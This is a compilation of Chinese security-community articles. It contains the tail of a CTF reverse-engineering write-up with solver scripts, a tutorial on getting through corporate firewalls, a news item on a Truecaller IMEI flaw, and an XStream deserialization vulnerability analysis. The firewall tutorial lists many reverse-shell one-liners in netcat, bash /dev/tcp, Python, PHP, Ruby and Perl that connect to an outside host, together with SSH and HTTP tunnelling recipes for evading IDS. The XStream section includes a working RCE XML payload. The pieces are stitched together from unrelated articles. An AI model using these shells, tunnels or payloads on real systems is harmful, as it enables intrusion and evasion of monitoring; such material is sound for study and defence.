a1[9]=change[3]
a1[1]^=a1[9]
if(a[1]!=0xad):
exit(0)
a1[1]=flag[33]
a1[9]=change[3]
a1[1]^=a1[9]
if(a[1]!=0xad):
exit(0)
加密的大概思路是先输入一个数，然后经过运算变化为四个用于加密的数字，第二次输入的flag和这四个数异或。第一个数字的输入有一个比较但是没办法逆出来，只能通过爆破的方法
脚本如下：
a1=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
for i in range(0,0xffffffffffff):
a1[1]=i
a1[9]=a1[1]
a1[2]=0x0000000d
a1[1]>>=0xd
a1[1]^=a1[9]
a1[9]=a1[1]
a1[2]=0x00000009
a1[1]<<=0x9
a1[2]=0x78f39600
a1[1]&=0x78f39600
a1[1]^=a1[9]
a1[9]=a1[1]
a1[2]=0x00000011
a1[1]<<=0x11
a1[2]=0x85d40000
a1[1]&=a1[2]
a1[1]^=a1[9]
a1[9]=a1[1]
a1[2]=0x00000013
a1[1]>>=0x13
a1[1]^=a1[9]
print(hex(i)+'-------------'+hex(a1[1]))
if(a1[1]==0x26f8d100):
print("_______________________________________")
exit(0)
输入的数字经过动态调试可以看到，直接给出解密脚本：
Change=[0x14c,0x3b,0x152,0xd6]
Dst=[0x10b,0x7a,0x95,0x106,0x7d,0xad,0x12f,0x165,0x12d,0x12f,0x139,0x10d,0xbb,0x8,0x10d,0x13f,0x13a,0x161,0x57,0x120,0x10d,0x13f,0x13f,0xb5,0x113,0xa0,0x121,0x10d,0xb,0x139,0x173,0x46]
Num=[0,1,3,2,1,3,0,2,0,0,2,2,3,1,2,0,2,2,1,0,2,0,2,3,0,3,0,2,1,2,0,1]
flag=''
for i in range(32):
flag+=chr(Change[Num[i]]^Dst[i])
print(flag)
### wannaflag
找到与key判断相关的函数，过了判断他就会自己解密flag了。
照着顺序逆回去就是了，然后由于不知道最初SLOBYTE(Paint.fErase)%7的值，所以解密的最后就爆了。
exp:
def ROR(i,index):
tmp = bin(i)[2:].rjust(8,"0")
for _ in range(index):
tmp = tmp[-1]+tmp[:-1]
return int(tmp,2)
target = "4e ae 61 ba e4 2b 55 aa 59 fc 4d 2 17 6b 13 a1 41 fe 35 b b4 b 52 2f 46 cc 35 82 e5 88 50".split(" ")
tmp1=[]
for i in range(len(target)):
tmp1.append(ROR(int(target[i],16),i))
tmp2=""
fxxk='\x41NNAWGALFYBKVIAHMXTFCAACLAAAAYK'
for i in range(len(tmp1)):
tmp2+=chr(tmp1[i]^ord(fxxk[i]))
print tmp2
for i in range(256):
key=""
for e in tmp2:
key+=chr(ord(e)^i)
print key
### simulator：
一个查不出哪里来的.obj文件，看了计算机系统概论才知道是lc3模拟系统编译出来的obj，没有伪代码的逆向，让一个本来就很菜的re手在心里雪上加霜，一行一行逆出来伪代码后发现是从最后一位和倒数第二位进行了个可以看作异或的操作，然后依次类推倒数第二个和倒数第三个….伪代码就不贴了，最后的cipher是这里：
用爆破直接求就好了：
a=[0x18,0x6C,0x0F,0x50,0x6C,0x6E,0x42,0x2C,0x2C,0x1E,0x0C,0x0D,0x00,0x33,0x3D,0x17,0x01,0x2B,0x3C,0x0C,0x02,0x1D,0x1C,0x09,0x11,0x11]
flag=""
for i in range(256):
flag=chr(i)
for each in a:
flag+=chr(ord(flag[-1])^each)
print(flag)
flag跑出来 | 社区文章 |
# 0x00 前言
本文主要来探讨一下内网穿透方式与思路总结。在开始之前，需要先设置一个前提即已经具有目标内网中的一台主机的任意命令执行的权限，比如：webshell或者某个service的RCE漏洞。我们这里的目标是要绕过可能存在的防火墙，IDS/IPS或者深度包检测系统从而拿到目标内网主机的shell并进而穿透内网以便实施内网渗透。
# 0x01 实验与分析
**实验环境的搭建：**
这里我使用VirtualBox新建了一个NAT网络(10.0.2.0/24)来模拟内网以及一台Kali主机(192.168.0.230)来模拟外网主机，具体如下：
* 内网地址(NAT网络)：10.0.2.0/24
* * 内网主机A(Windows)：10.0.2.15
* 内网主机B(Linux)：10.0.2.5
* 内网出口地址(NAT出口地址)：192.168.7.225
* 外网主机：192.168.0.230
网络拓扑如下：
现在假设我们已经拥有了MyLab网络中的Linux或者Windows的代码执行权限，我们的目标是在我们的攻击机Kali主机上成功获取到内网主机的shell。
**场景与思路分析：**
### **场景一：内网防火墙对出口流量没有任何端口限制**
**思路**** ：由于防火墙对出口流量没有任何端口限制，我们的可选择的方案非常灵活，如：反弹shell**
**方法：**
#### 1\. Windows:
nc.exe -nv 192.168.0.230 8080 -e cmd.exe
#### 2\. Linux:
1）Netcat
nc -nv 192.168.0.230 8080 -e /bin/bash
mknod /tmp/p p && /bin/sh 0</tmp/p | nc 192.168.0.230 8080 1>/tmp/p
2）Ncat
ncat -nv 192.168.0.230 8080 -e /bin/bash
3）Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.230",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
4）PHP
php -r '$sock=fsockopen("192.168.0.230",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
5）Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.230","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
6）Perl
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.230:8080");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
7）Bash
bash -i >& /dev/tcp/192.168.0.230/8080 0>&1
0<&196;exec 196<>/dev/tcp/192.168.0.230/8080; sh <&196 >&196 2>&196
/bin/bash -i > /dev/tcp/192.168.0.230/8080 0<&1 2>&1
### 场景二：内网防火墙仅允许内网主机访问外网的特定端口（如：80, 443）
**思路：由于防火墙仅允许部分特定外网端口可以访问，思路一仍然是反弹shell只不过目标端口改成特定端口即可；思路二则是端口转发，将内网主机的某些服务的端口转发到外网攻击主机上的防火墙允许的特定端口上，再通过连接外网主机上的本地端口来访问内网服务**
**方法一：反弹shell可参考场景一中的方法，仅需修改目标端口为防火墙允许的特定端口即可**
**方法二：端口转发**
#### 1\. Windows
* lcx.exe （最常见，但也是最容易被反病毒检测到）
* PortTransfer.exe （参考<http://avfisher.win/archives/318>）
#### 2\. Linux (SSH远程端口转发，以允许的特定端口为80为例)
1）在外网主机上将ssh的22端口映射到80端口
$ apt-get install rinetd
$ vim /etc/rinetd.conf
# bindadress bindport connectaddress connectport
192.168.0.230 80 192.168.0.230 22
2）内网主机上SSH远程端口转发如下
ssh [email protected] -p 80 -f -N -R 2022:127.0.0.1:22
(输入外网主机的SSH口令)
3）在外网主机上直接ssh内网主机如下
ssh -p 2022 [email protected]
(输入内网主机的SSH口令)
**方法三：SSH的动态端口转发配合proxychains来代理所有流量进一步渗透内网**
1）在内网主机上执行
ssh -f -N -R 2222:127.0.0.1:22 -p 80 [email protected]
(输入外网主机的SSH口令)
2）在外网主机上执行
ssh -f -N -D 127.0.0.1:8080 -p 2222 [email protected]
(输入内网主机的SSH口令)
3）在外网主机上配置proxychains设置socks4代理
$ vim /etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 8080
4) 使用proxychains代理所有流量进入内网
proxychains nc -nv 10.0.2.5 3306
### **场景三：内网防火墙具有协议检测和识别能力且仅允许HTTP流量出去外网**
**思路：由于防火墙仅允许HTTP流量出去外网，可选择的方案将会受到很大限制，但是其中一种方案是HTTP隧道技术**
**方法：将payload的协议封装在HTTP协议中**
1）在外网主机上安装brigde (<https://github.com/luizluca/bridge>)
$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 80 /bridge
$ nc -lvvp 8080
2）在内网主机上安装bridge
$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 8080 http://192.168.0.230:80/bridge 192.168.0.230 8080
$ nc -nv 127.0.0.1 8080 -e /bin/bash
一旦建立了HTTP隧道，后面的操作可以结合前2个场景中的方法。
### **场景四：内网具备深度包检测能力且仅允许HTTP流量出去外网但可以检测明文传输的HTTP流量**
**思路：该场景比场景三更加苛刻，在场景三中我们将流量封装在HTTP协议中来Bypass检测，但是流量本身都是明文传输，所以一旦目标内网检测HTTP流量，我们还是可能被拦截，因此我们需要对场景三中的思路稍加修改，即利用SSL或者SSH加密流量在结合HTTP隧道技术。这样封装在HTTP协议中的流量本身也是加密的，检测系统就无法发现真实的payload了。**
**方法：利用SSL或者SSH加密流量在结合HTTP隧道技术**
1）与场景三中的方法类似，先在外网主机上安装brigde
$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 80 /bridge
2）在外网主机上开启使用了ssl加密的ncat监听进程，如下
ncat -lvvp 8080 --ssl
3）在内网主机上安装bridge
$ git clone https://github.com/luizluca/bridge
$ cd bridge
$ ruby bridge 8080 http://192.168.0.230:80/bridge 192.168.0.230 8080
4）同样地，在内网主机上使用ssl与监听主机通信
ncat -nv 127.0.0.1 8080 -e /bin/bash --ssl
SSH加密端口转发流量的操作可参照场景二中的方法二和三。
### **场景五：内网主机完全与外网不通**
**思路：既然该内网主机与外网都不通，那为什么还浪费时间非要借助于这个主机来做内网穿透呢？换个思路，找个能通的内网主机在穿透出来吧。**
**方法：都找到了能通外网的内网主机了，那么其他场景里提到的方法应该就能解决你的问题了吧…**
# 0x02 小结
本文尝试从不同场景切入分析和总结，从内网限制的宽松到严苛，来逐个探讨可行的Bypass方案，算是抛砖引玉吧，更多地方法和思路会不断丰富和更新进来。 | 社区文章 |
# Truecaller远程代码执行漏洞影响100万安卓设备
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://securityaffairs.co/wordpress/45701/hacking/truecaller-remotely-exploitable-flaw.html >
译文仅供参考，具体内容表达以及含义原文为准。
远程利用Truecaller中的漏洞会对超过100万部安卓设备造成威胁。
来自猎豹移动安全研究实验室(Cheetah Mobile Security Research
Lab)的安全研究人员发现了热门的来电管理应用程序Truecaller中的严重漏洞。该漏洞允许任何人窃取Truecaller用户的敏感信息,并且可能利用这些信息进行进一步的攻击。简单来说,100多万已经下载了这个应用程序到自己智能手机上的安卓用户正处于危险之中。
研究人员发现,Truecaller应用会使用设备的IMEI作为其用户的唯一的身份标签。这意味着只要获得别人设备的IMEI号,任何人都能得到Truecaller用户的个人信息(包括电话号码,家庭地址,邮箱,性别等),并且不经过用户的许可就能篡改用户的应用程序设置,对他们进行恶意钓鱼攻击。
通过利用这个漏洞,攻击者可以:
窃取个人信息,如账户姓名,性别,电子邮件,个人档案相册,家庭住址等;
修改用户的应用程序设置;
禁用垃圾邮件拦截器;
添加号码到用户黑名单;
删除用户的黑名单。
猎豹移动安全研究小组会立即通知了Truecaller的和此漏洞有关的开发人员,基于他们关于此漏洞的一系列发现,研究人员会提供一切可能帮助Truecaller开发人员解决问题的信息。现在Truecaller制造商已经解决该问题,并于3月22日发布了一个更新版本。
虽然该漏洞已在最新的版本中被修复了,广大的用户仍然处于危险之中,因为很多人仍然没有更新这个应用。猎豹移动安全研究实验室建议Truecaller用户尽快升级这个应用程序到最新版本。 | 社区文章 |
# Java安全之 Xstream 漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
好久没写漏洞分析文章了，最近感觉在审代码的时候，XStream 组件出现的频率比较高，借此来学习一波XStream的漏洞分析。
## 0x01 XStream 历史漏洞
下面罗列一下XStream历史漏洞
XStream 远程代码执行漏洞 | CVE-2013-7285 | XStream <= 1.4.6
---|---|---
XStream XXE | [CVE-2016-3674](https://x-stream.github.io/CVE-2016-3674.html) |
`XStream` <= 1.4.8
XStream 远程代码执行漏洞 | CVE-2019-10173 | `XStream` < 1.4.10
XStream 远程代码执行漏洞 |
[CVE-2020-26217](https://x-stream.github.io/CVE-2020-26217.html) | `XStream`
<= 1.4.13
XStream 远程代码执行漏洞 |
[CVE-2021-21344](https://x-stream.github.io/CVE-2021-21344.html) | `XStream`:
<= 1.4.15
XStream 远程代码执行漏洞 |
[CVE-2021-21345](https://x-stream.github.io/CVE-2021-21345.html) | `XStream`:
<= 1.4.15
XStream 远程代码执行漏洞 |
[CVE-2021-21346](https://x-stream.github.io/CVE-2021-21346.html) | `XStream`:
<= 1.4.15
XStream 远程代码执行漏洞 |
[CVE-2021-21347](https://x-stream.github.io/CVE-2021-21347.html) |
`XStream`<= 1.4.15
XStream 远程代码执行漏洞 |
[CVE-2021-21350](https://x-stream.github.io/CVE-2021-21350.html) | `XStream`:
<= 1.4.15
XStream 远程代码执行漏洞 |
[CVE-2021-21351](https://x-stream.github.io/CVE-2021-21351.html) | `XStream`:
<= 1.4.15
XStream 远程代码执行漏洞 |
[CVE-2021-29505](https://x-stream.github.io/CVE-2021-29505.html) | `XStream`:
<= 1.4.16
详细可查看[XStream 官方地址](https://x-stream.github.io/security.html)
## 0x02 XStream 使用与解析
### 介绍
XStream是一套简洁易用的开源类库，用于将Java对象序列化为XML或者将XML反序列化为Java对象，是Java对象和XML之间的一个双向转化器。
### 使用
#### 序列化
public static void main(String[] args) {
XStream xStream = new XStream();
Person person = new Person();
person.setName("xxx");
person.setAge(22);
String s = xStream.toXML(person);
System.out.println(s);
}
<com.nice0e3.Person>
<name>xxx</name>
<age>22</age>
</com.nice0e3.Person>
#### 反序列化
XStream xStream = new XStream();
String xml =
"<com.nice0e3.Person>\n" +
" <name>xxx</name>\n" +
" <age>22</age>\n" +
"</com.nice0e3.Person>";
Person person1 = (Person)xStream.fromXML(xml);
System.out.println(person1);
结果
Person{name='xxx', age=22}
### EventHandler类
分析前先来看到`EventHandler`类，EventHandler类是实现了`InvocationHandler`的一个类，设计本意是为交互工具提供beans，建立从用户界面到应用程序逻辑的连接。其中会查看调用的方法是否为`hashCode`、`equals`、`toString`，如果不为这三个方法则往下走，而我们的需要利用的部分在下面。`EventHandler.invoke()`—>`EventHandler.invokeInternal()`—>`MethodUtil.invoke()`任意反射调用。
### 组成部分
#### XStream 总体由五部分组成
**XStream** 作为客户端对外提供XML解析与转换的相关方法。
1. **AbstractDriver** 为XStream提供流解析器和编写器的创建。目前支持XML（DOM，PULL）、JSON解析器。解析器 **HierarchicalStreamReader** ，编写器 **HierarchicalStreamWriter** （PS： **XStream** 默认使用了 **XppDriver** )。
2. **MarshallingStrategy** 编组和解组策略的核心接口，两个方法：
marshal：编组对象图
unmarshal:解组对象图
**TreeUnmarshaller**
树解组程序，调用mapper和Converter把XML转化成java对象，里面的start方法开始解组，`convertAnother`方法把class转化成java对象。
**TreeMarshaller**
树编组程序，调用mapper和Converter把java对象转化成XML，里面的start方法开始编组，`convertAnother`方法把java对象转化成XML。
它的抽象子类`AbstractTreeMarshallingStrategy`有抽象两个方法
`createUnmarshallingContext`
`createMarshallingContext`
用来根据不同的场景创建不同的`TreeUnmarshaller`子类和`TreeMarshaller`子类，使用了 **策略模式**
，如`ReferenceByXPathMarshallingStrategy`创建`ReferenceByXPathUnmarshaller`，`ReferenceByIdMarshallingStrategy`创建`ReferenceByIdUnmarshaller`（PS：
**XStream** 默认使用`ReferenceByXPathMarshallingStrategy`
3. **Mapper** 映射器，XML的`elementName`通过mapper获取对应类、成员、属性的class对象。支持解组和编组，所以方法是成对存在real 和serialized，他的子类`MapperWrapper`作为装饰者，包装了不同类型映射的映射器，如`AnnotationMapper`，`ImplicitCollectionMapper`，`ClassAliasingMapper`。
4. **ConverterLookup** 通过Mapper获取的Class对象后，接着调用`lookupConverterForType`获取对应Class的转换器，将其转化成对应实例对象。`DefaultConverterLookup`是该接口的实现类，同时实现了`ConverterRegistry`的接口，所有`DefaultConverterLookup`具备查找converter功能和注册converter功能。所有注册的转换器按一定优先级组成由 **TreeSet** 保存的有序集合(PS: **XStream** 默认使用了 **DefaultConverterLookup** )。
#### Mapper解析
根据`elementName`查找对应的Class，首先调用`realClass`方法，然后`realClass`方法会在所有包装层中一层层往下找，并还原`elementName`的信息，比如在`ClassAliasingMapper`根据`component`别名得出`Component`类，最后在`DefaultMapper`中调用`realClass`创建出Class。
`CachingMapper`—>`SecurityMapper`—>`ArrayMapper`—>`ClassAliasingMapper`—>`PackageAliasingMapper`—>`DynamicProxyMapper`—->`DefaultMapper`
[XStream 源码解析](https://www.jianshu.com/p/387c568faf62)
## 0x03 漏洞分析
### CVE-2013-7285
#### 影响范围
1.4.x<=1.4.6或1.4.10
### 漏洞简介
XStream序列化和反序列化的核心是通过`Converter`转换器来将XML和对象之间进行相互的转换。
XStream反序列化漏洞的存在是因为XStream支持一个名为`DynamicProxyConverter`的转换器，该转换器可以将XML中`dynamic-proxy`标签内容转换成动态代理类对象，而当程序调用了`dynamic-proxy`标签内的`interface`标签指向的接口类声明的方法时，就会通过动态代理机制代理访问`dynamic-proxy`标签内`handler`标签指定的类方法；利用这个机制，攻击者可以构造恶意的XML内容，即`dynamic-proxy`标签内的`handler`标签指向如`EventHandler`类这种可实现任意函数反射调用的恶意类、`interface`标签指向目标程序必然会调用的接口类方法；最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。
### 漏洞分析
public static void main(String[] args) {
XStream xStream = new XStream();
String xml =
"<sorted-set>\n" +
" <string>foo</string>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class=\"java.beans.EventHandler\">\n" +
" <target class=\"java.lang.ProcessBuilder\">\n" +
" <command>\n" +
" <string>cmd</string>\n" +
" <string>/C</string>\n" +
" <string>calc</string>\n" +
" </command>\n" +
" </target>\n" +
" <action>start</action>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
"</sorted-set>";
xStream.fromXML(xml);
}
一路跟踪下来代码走到`com.thoughtworks.xstream.core.TreeUnmarshaller#start`
public Object start(final DataHolder dataHolder) {
this.dataHolder = dataHolder;
//通过mapper获取对应节点的Class对象
final Class<?> type = HierarchicalStreams.readClassType(reader, mapper);
//Converter根据Class的类型转化成java对象
final Object result = convertAnother(null, type);
for (final Runnable runnable : validationList) {
runnable.run();
}
return result;
}
调用`HierarchicalStreams.readClassType`方法，从序列化的数据中获取一个真实的class对象。
public static Class<?> readClassType(final HierarchicalStreamReader reader, final Mapper mapper) {
if (classAttribute == null) {
// 通过节点名获取Mapper中对应的Class
Class<?> type = mapper.realClass(reader.getNodeName());
return type;
}
方法内部调用`readClassAttribute`。来看到方法
public static String readClassAttribute(HierarchicalStreamReader reader, Mapper mapper) {
String attributeName = mapper.aliasForSystemAttribute("resolves-to");
String classAttribute = attributeName == null ? null : reader.getAttribute(attributeName);
if (classAttribute == null) {
attributeName = mapper.aliasForSystemAttribute("class");
if (attributeName != null) {
classAttribute = reader.getAttribute(attributeName);
}
}
return classAttribute;
}
其中调用获取调用`aliasForSystemAttribute`方法获取别名。
获取`resolves-to`和`class`判断解析的xml属性值中有没有这两字段。
这里返回为空，继续来看到`com.thoughtworks.xstream.core.util.HierarchicalStreams#readClassType`
为空的话，则走到这里
type = mapper.realClass(reader.getNodeName());
获取当前节点的名称，并进行返回对应的class对象。
跟踪`mapper.realClass`方法。`com.thoughtworks.xstream.mapper.CachingMapper#realClass`
public Class realClass(String elementName) {
Object cached = this.realClassCache.get(elementName);
if (cached != null) {
if (cached instanceof Class) {
return (Class)cached;
} else {
throw (CannotResolveClassException)cached;
}
} else {
try {
Class result = super.realClass(elementName);
this.realClassCache.put(elementName, result);
return result;
} catch (CannotResolveClassException var4) {
this.realClassCache.put(elementName, var4);
throw var4;
}
}
}
找到别名应的类，存储到realClassCache中，并且进行返回。
执行完成回到`com.thoughtworks.xstream.core.TreeUnmarshaller#start`中
跟进代码
Object result = this.convertAnother((Object)null, type);
来到这里
public Object convertAnother(final Object parent, Class<?> type, Converter converter) {
//根据mapper获取type实现类
type = mapper.defaultImplementationOf(type);
if (converter == null) {
//根据type找到对应的converter
converter = converterLookup.lookupConverterForType(type);
} else {
if (!converter.canConvert(type)) {
final ConversionException e = new ConversionException("Explicitly selected converter cannot handle type");
e.add("item-type", type.getName());
e.add("converter-type", converter.getClass().getName());
throw e;
}
}
// 进行把type转化成对应的object
return convert(parent, type, converter);
}
`this.mapper.defaultImplementationOf`方法会在mapper对象中去寻找接口的实现类
下面调用`this.converterLookup.lookupConverterForType(type);`方法寻找对应类型的转换器。
public Converter lookupConverterForType(final Class<?> type) {
//先查询缓存的类型对应的转换器集合
final Converter cachedConverter = type != null ? typeToConverterMap.get(type.getName()) : null;
if (cachedConverter != null) {
//返回找到的缓存转换器
return cachedConverter;
}
final Map<String, String> errors = new LinkedHashMap<>();
//遍历转换器集合
for (final Converter converter : converters) {
try {
//判断是不是符合的转换器
if (converter.canConvert(type)) {
if (type != null) {
//缓存类型对应的转换器
typeToConverterMap.put(type.getName(), converter);
}
//返回找到的转换器
return converter;
}
} catch (final RuntimeException | LinkageError e) {
errors.put(converter.getClass().getName(), e.getMessage());
}
}
}
canConvert
变量所有转换器，通过调用`Converter.canConvert()`方法来匹配转换器是否能够转换出`TreeSet`类型，这里找到满足条件的`TreeSetConverter`转换器
下面则是调用`this.typeToConverterMap.put(type, converter);`将该类和转换器存储到map中。
然后将转换器进行返回。
回到`com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother`中，执行来到这里。
protected Object convert(Object parent, Class type, Converter converter) {
Object result;
if (this.parentStack.size() > 0) {
result = this.parentStack.peek();
if (result != null && !this.values.containsKey(result)) {
this.values.put(result, parent);
}
}
String attributeName = this.getMapper().aliasForSystemAttribute("reference");
String reference = attributeName == null ? null : this.reader.getAttribute(attributeName);
Object cache;
if (reference != null) {
cache = this.values.get(this.getReferenceKey(reference));
if (cache == null) {
ConversionException ex = new ConversionException("Invalid reference");
ex.add("reference", reference);
throw ex;
}
result = cache == NULL ? null : cache;
} else {
cache = this.getCurrentReferenceKey();
this.parentStack.push(cache);
result = super.convert(parent, type, converter);
if (cache != null) {
this.values.put(cache, result == null ? NULL : result);
}
this.parentStack.popSilently();
}
return result;
}
获取reference别名后，从xml中获取reference标签内容。获取为空则调用
`this.getCurrentReferenceKey()`来获取当前标签将当前标签。
调用`this.types.push`将获取的值压入栈中，跟进查看一下。
public Object push(Object value) {
if (this.pointer + 1 >= this.stack.length) {
this.resizeStack(this.stack.length * 2);
}
this.stack[this.pointer++] = value;
return value;
}
实际上做的操作也只是将值存储在了`this.stack`变量里面。
来到以下代码
Object result = converter.unmarshal(this.reader, this);
调用传递进来的类型转换器，也就是前面通过匹配获取到的类型转换器。调用`unmarshal`方法，进行xml解析。也就是`com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal`
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
TreeSet result = null;
Comparator unmarshalledComparator = this.treeMapConverter.unmarshalComparator(reader, context, (TreeMap)null);
boolean inFirstElement = unmarshalledComparator instanceof Null;
Comparator comparator = inFirstElement ? null : unmarshalledComparator;
TreeMap treeMap;
if (sortedMapField != null) {
TreeSet possibleResult = comparator == null ? new TreeSet() : new TreeSet(comparator);
Object backingMap = null;
try {
backingMap = sortedMapField.get(possibleResult);
} catch (IllegalAccessException var11) {
throw new ConversionException("Cannot get backing map of TreeSet", var11);
}
if (backingMap instanceof TreeMap) {
treeMap = (TreeMap)backingMap;
result = possibleResult;
} else {
treeMap = null;
}
} else {
treeMap = null;
}
if (treeMap == null) {
PresortedSet set = new PresortedSet(comparator);
result = comparator == null ? new TreeSet() : new TreeSet(comparator);
if (inFirstElement) {
this.addCurrentElementToCollection(reader, context, result, set);
reader.moveUp();
}
this.populateCollection(reader, context, result, set);
if (set.size() > 0) {
result.addAll(set);
}
} else {
this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);
}
return result;
}
调用`unmarshalComparator`方法判断是否存在comparator，如果不存在，则返回NullComparator对象。
protected Comparator unmarshalComparator(HierarchicalStreamReader reader, UnmarshallingContext context, TreeMap result) {
Comparator comparator;
if (reader.hasMoreChildren()) {
reader.moveDown();
if (reader.getNodeName().equals("comparator")) {
Class comparatorClass = HierarchicalStreams.readClassType(reader, this.mapper());
comparator = (Comparator)context.convertAnother(result, comparatorClass);
} else {
if (!reader.getNodeName().equals("no-comparator")) {
return NULL_MARKER;
}
comparator = null;
}
reader.moveUp();
} else {
comparator = null;
}
return comparator;
}
回到`com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal`
获取为空，则`inFirstElement`为false,下面的代码`comparator`变量中三目运算返回null。而`possibleResult`也是创建的是一个空的`TreeSet`对象。而后则是一些赋值，就没必要一一去看了。来看到重点部分。
this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);
跟进一下。
protected void populateTreeMap(HierarchicalStreamReader reader, UnmarshallingContext context, TreeMap result, Comparator comparator) {
boolean inFirstElement = comparator == NULL_MARKER;
if (inFirstElement) {
comparator = null;
}
SortedMap sortedMap = new PresortedMap(comparator != null && JVM.hasOptimizedTreeMapPutAll() ? comparator : null);
if (inFirstElement) {
this.putCurrentEntryIntoMap(reader, context, result, sortedMap);
reader.moveUp();
}
this.populateMap(reader, context, result, sortedMap);
try {
if (JVM.hasOptimizedTreeMapPutAll()) {
if (comparator != null && comparatorField != null) {
comparatorField.set(result, comparator);
}
result.putAll(sortedMap);
} else if (comparatorField != null) {
comparatorField.set(result, sortedMap.comparator());
result.putAll(sortedMap);
comparatorField.set(result, comparator);
} else {
result.putAll(sortedMap);
}
} catch (IllegalAccessException var8) {
throw new ConversionException("Cannot set comparator of TreeMap", var8);
}
}
下面调用了`this.putCurrentEntryIntoMap`跟进查看一下。
读取标签内的内容并缓存到target这个Map中。
`reader.moveUp()`往后解析xml
然后调用`this.populateMap(reader, context, result, sortedMap);`
跟进方法查看
protected void populateMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, final Map target) {
TreeSetConverter.this.populateCollection(reader, context, new AbstractList() {
public boolean add(Object object) {
return target.put(object, object) != null;
}
public Object get(int location) {
return null;
}
public int size() {
return target.size();
}
});
}
其中调用`populateCollection`用来循环遍历子标签中的元素并添加到集合中。
调用`addCurrentElementToCollection`—>`readItem`
protected Object readItem(HierarchicalStreamReader reader, UnmarshallingContext context, Object current) {
Class type = HierarchicalStreams.readClassType(reader, this.mapper());
return context.convertAnother(current, type);
}
读取标签内容，并且获取转换成对应的类，最后将类添加到targer中。
跟踪一下看看。大概流程和前面的一样。
一路跟踪来到
`com.thoughtworks.xstream.converters.extended.DynamicProxyConverter#unmarshal`
前面获得的`DynamicProxyConverter`。
这就获取到了一个动态代理的类。EventHandler
`com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap`中调用`result.putAll`，也就是代理了`EventHandler`类的putALL。动态代理特性则会触发，`EventHandler.invoke`。
invoke的主要实现逻辑在`invokeInternal`
怎么说呢，整体一套流程其实就是一个解析的过程。从`com.thoughtworks.xstream.core.TreeUnmarshaller#start`方法开始解析xml，调用`HierarchicalStreams.readClassType`通过标签名获取Mapper中对于的class对象。获取class完成后调用`com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother`,该方法会根据class转换为对于的Java对象。`convertAnother`的实现是`mapper.defaultImplementationOf`方法查找class实现类。根据实现类获取对应转换器，获取转换器部分的实现逻辑是`ConverterLookup`中的`lookupConverterForType`方法,先从缓存集合中查找`Converter`,遍历`converters`找到符合的`Converter`。随后，调用`convert`返回object对象。`convert`方法实现逻辑是调用获取到的`converter`转换器的`unmarshal`方法来根据获取的对象，继续读取子节点，并转化成对象对应的变量。直到读取到最后一个节点退出循环。最终获取到java对象中的变量值也都设置，整个XML解析过程就结束了。
### POC2
<tree-map>
<entry>
<string>fookey</string>
<string>foovalue</string>
</entry>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>good</string>
</entry>
</tree-map>
我们第一个payload使用的是`sortedset`接口在`com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother`方法中`this.mapper.defaultImplementationOf(type);`
寻找到的实现类为`java.util.TreeSet`。根据实现类寻找到的转换器即`TreeSetConverter`。
这里使用的是`tree-map`,获取的实现类是他本身，转换器则是`TreeMapConverter`。同样是通过动态代理的map对象，调用putAll方法触发到`EventHandler.invoke`里面实现任意反射调用。
### 1.3.1版本无法利用原因
`com.thoughtworks.xstream.core.util.HierarchicalStreams#readClassType`
该行代码爆出`Method threw
'com.thoughtworks.xstream.mapper.CannotResolveClassException'
exception.`无法解析异常。
发现是从遍历去调用map,调用realClass查找这里并没有从map中找到对应的class。所以这里报错了。
### 1.4.7-1.4.9版本无法利用原因
`com.thoughtworks.xstream.core.TreeUnmarshaller#start`
Class type = HierarchicalStreams.readClassType(this.reader, this.mapper);
Object result = this.convertAnother((Object)null, type);
获取class部分成功了，报错位置在调用`this.convertAnother`转换成Object对象步骤上。
跟进查看一下。
`EventHandler`的处理由`ReflectionConverter`来处理的，在1.4.7-1.4.9版本。添加了`canConvert`方法的判断。
### 1.4.10版本payload可利用原因
`com.thoughtworks.xstream.converters.reflection.ReflectionConverter#canConvert`中没了对`EventHandler`类的判断。
1.4.10版本以后添加了`XStream.setupDefaultSecurity(xStream)`方法的支持。
`com.thoughtworks.xstream.XStream$InternalBlackList#canConvert`中
public boolean canConvert(Class type) {
return type == Void.TYPE || type == Void.class || XStream.this.insecureWarning && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
}
添加黑名单判断。
## 0x04 结尾
篇章略长，分开几部分来写。 | 社区文章 |
# 【知识】10月29日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
